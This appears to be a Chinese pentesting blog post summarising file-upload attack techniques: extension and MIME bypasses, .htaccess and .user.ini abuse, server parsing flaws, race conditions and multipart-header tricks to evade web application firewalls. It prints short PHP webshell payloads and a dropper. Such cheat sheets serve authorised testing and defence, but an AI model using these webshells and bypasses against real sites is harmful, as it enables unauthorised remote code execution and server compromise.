文件上传利用总结

找到上传点,先初步判断一下做了什么防御手段:

客户端检查

利用burp抓包改包,先上传一个jpg类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可

服务端后缀黑名单

上传特殊可解析后缀

asp|asa|cer|cdx

aspx|ascx|ashx|asax|asac

php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根据配置文件中设置类型来决定)

jsp|jspx|jspf

htm|html|shtml|pwml|js

vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

上传.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

 .htaccess 文件生效前提条件为:

mod_rewrite 模块开启

AllowOverride All

上传.user.ini

原理:

1、.user.ini 有点像.htaccess,php运行时,会检索加载所有目录下的.ini配置文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。

2、.user.ini是一个能被动态加载的ini文件,这点和php.ini不同。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

利用:

上传.user.ini:

auto_prepend_file=1.gif       # 要访问的文件加载之前加载,

或者

auto_append_file=1.gif # 要访问的文件加载之后加载

上传一个包含webshell代码的1.gif:

GIF98A <?php eval($_REQUEST['a']);?>

访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行

?a=phpinfo(); ?a=system('whoami');

配合解析漏洞

IIS:

目录解析漏洞(/test.asp/1.jps)

文件名解析漏洞(test.asp;.jpg)

畸形解析漏洞(test.jpg/*.php)

Nginx:

畸形解析漏洞(test.jpg/*.php)

%00空字节代码解析漏洞

CVE-2013-4547(%20%00)

Apache:

文件名解析漏洞(test.php.owf.xdx)

详细参考:https://www.cnblogs.com/vege/p/12444476.html

利用NTFS ADS特性

其他

点绕过、空格绕过、后缀双写绕过、后缀大小写绕过、%00绕过、0x00绕过

GET:

shell.php%00.jpg

POST:

(hex里面改)

shell.php%20%00.jpg

shell.php.

shell.php. .

服务器后缀白名单

00截断、MIME、点、空格、点空格点、::$DATA

shell.php::$DATA

shell.php

shell.php.

shell.php. .

GET:

shell.php%00.jpg

POST:

(hex里面改)

shell.php%20%00.jpg

检查内容

文件头检查

木马文件中插入 允许上传的文件类型的文件头。

如gif

1.php

GIF98A <?php eval($_REQUEST['a']);?>

MIME

正常上传木马文件,burp抓包修改 Content-Type:image/jpg 等

getimagesize()、exif_imagetype()函数检查

生成图片马:

制作方法: copy 1.jpg/b + 1.php/a 2.jpg      b表示二进制文件  a表示ASCII文件

也可以使用edjpgcom.exe工具

然后结合文件包含漏洞利用

二次渲染

(1)上传gif图片:先将普通的gif图片上传,会被渲染,渲染之后再下载下来,与原git图片对比,找到渲染前后没有变化的位置,然后在这些位置插入php一句话,再上传即可。

(2)上传jpg、png图片:这两种格式图片的二次渲染绕过要难很多很多:png(索引类型图,写入 PLTE 数据块或写入IDAT数据块),jpg(成功性不大),具体参考   https://xz.aliyun.com/t/2657#toc-3

技巧点:在目标网站渲染的过的图片再修改,修改后的再传两次

条件竞争

由于代码逻辑问题,其先将我们上传的图片保存,然后再进行处理,删除原图片,因此我们可以利用条件竞争,在我们上传的图片马被删除之前触发它。

方法:

利用burp不断发包,不断触发

1.php

<?php fputs(fopen(‘a.php’,’w’),‘<?php eval($_POST[cmd])?>’); ?>

绕过WAF

云WAF

通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制

例如

传shell时发现存在某云WAF,需进一步绕过

通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制

构造畸形的数据包,“打乱”waf的检测

WAF如何拦截:

文件名:

解析文件名,判断是否在黑名单内

文件内容

解析文件内容,判断是否为webshell

目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。

绕过:

获取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"Content-Type里,所以绕过的地方也就在这两个地方了。

1、去掉引号

2、双引号变单引号

3、多加一个引号

4、大小写

对这三个固定的字符串进行大小写转换

比如name转换成Name,Content-Disposition转换成content-disposition。

5、空格

在: ; =添加1个或者多个空格,不过测试只有filename在=前面添加空格,上传失败。

在filename=后面添加空格上传成功

6、去掉或修改Content-Disposition值

有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。

7、删掉content-type

同上

8、交换name和filename的顺序

规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。

有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass:

Content-Disposition: form-data; filename="xx.php"; name=file_x

9、多个boundary

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

10、多个filename

最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

11、多个分号

文件解析时,可能解析不到文件名,导致绕过。

12、header头,Content-Type :  multipart/form-DATA

这种绕过应该很少,大多数都会忽略大小写。php和java都支持。

13、header头在boundary前添加任意字符

php支持,java不支持

14、filename换行

filen

ame="hhh

.

p

hp"

15、filename文件名添加单引号(‘)分号(;)等

filename==”hh' h.php”

filename=”hh;h.php”

16、filename==或者filename===绕过

17、name 和filename之间添加任意字符或者是大量字符

18、form-data用+拼接

19、Content-Disposition:*

20、filename="1.jpg .Php"类似这种的各种尝试

上传成功后寻找返回路径

正常情况下,在返回包中可以找到文件上传路径,如果未返回路径或找不到,可以尝试以下方法:

1、

刷新, f12  network/浏览器history搜索shell名字,或点击下载文件可能就知道了路径或相似路径。有些时候改名字的wordpress插件,编辑器等等,就可以通过这种方式发现

2、

返回了一些参数但不包括路径的情况,比如file_id 等等,那么文件路径可能存储在数据库中,可以结合sql注入 sqlmap的--search -C参数找到字段和值

3、

什么都没返回的情况,只返回了ok,true等等。重新加载,抓包看响应,或许某个接口的响应就包括对应的路径。

比如头像位置上传上去了,但是没有返回路径,那么想办法让他在加载一遍,比如退出重新登陆,一个包一个包的放。可能有些包的响应中就包含路径。

     另外可能存在其他服务器、或者其他站点的其他路径,也是抓包查看,看一下加载过程的路径在哪或者看一下html、js

4、

只返回了文件名,没有路径

一种是fuzz,看其他同类型文件的路径,f12或者如果有文件下载的地方,下载抓包,看文件地址。

另一种是 尝试上传的时候目录穿越,一次一次尝试,看能否穿到站点根目录或者知道的目录下面。修改不如表单的其他参数、或者filename参数的值

5、

尝试访问日志文件,看能否发现一些敏感目录或上传目录

比如泛微

6、

上传上去没有访问直接下载,当前文件夹没有执行权限

这种情况,尝试目录穿越的方式,穿到其他目录下,比如根目录,来绕过限制

../->%C0%AE%C0%AE/

/../      \..\

其他一些情况

1、当前上传接口无法绕过时,注意观察文件名,fuzz相似接口

uploadImg.cspx

uploadfile.cspx

uploadtest.cspx

upload_test.cspx

upload_2018.php

upload2019.php

upload2020.jsp

temp、test等等接口

fck编辑器的漏洞就是这样的,

例子:

2、尝试修改表单其他字段,看是否会影响后缀,(参数的优先级)

例子:

测试中发现了一个上传点,但waf拦截jsp、html等后缀,更改后缀重放数据包会导致reset,如下:

fileName和fileType参数可控,且当存在两个不同的后缀时,最上层的filename参数优先级为最高,可导致任意文件上传

发现上传成功的jsp文件其回显的type类型为image/png类型

删除最下层filename的Content-Type: image/png,文件上传类型即可被绕过

 

 

 

 

参考

https://paper.seebug.org/560/

https://xz.aliyun.com/t/10043

http://www.feidao.site/wordpress/?p=2184

https://xz.aliyun.com/t/7531

 

posted @ 2021-09-10 17:05  yokan  阅读(1613)  评论(0编辑  收藏  举报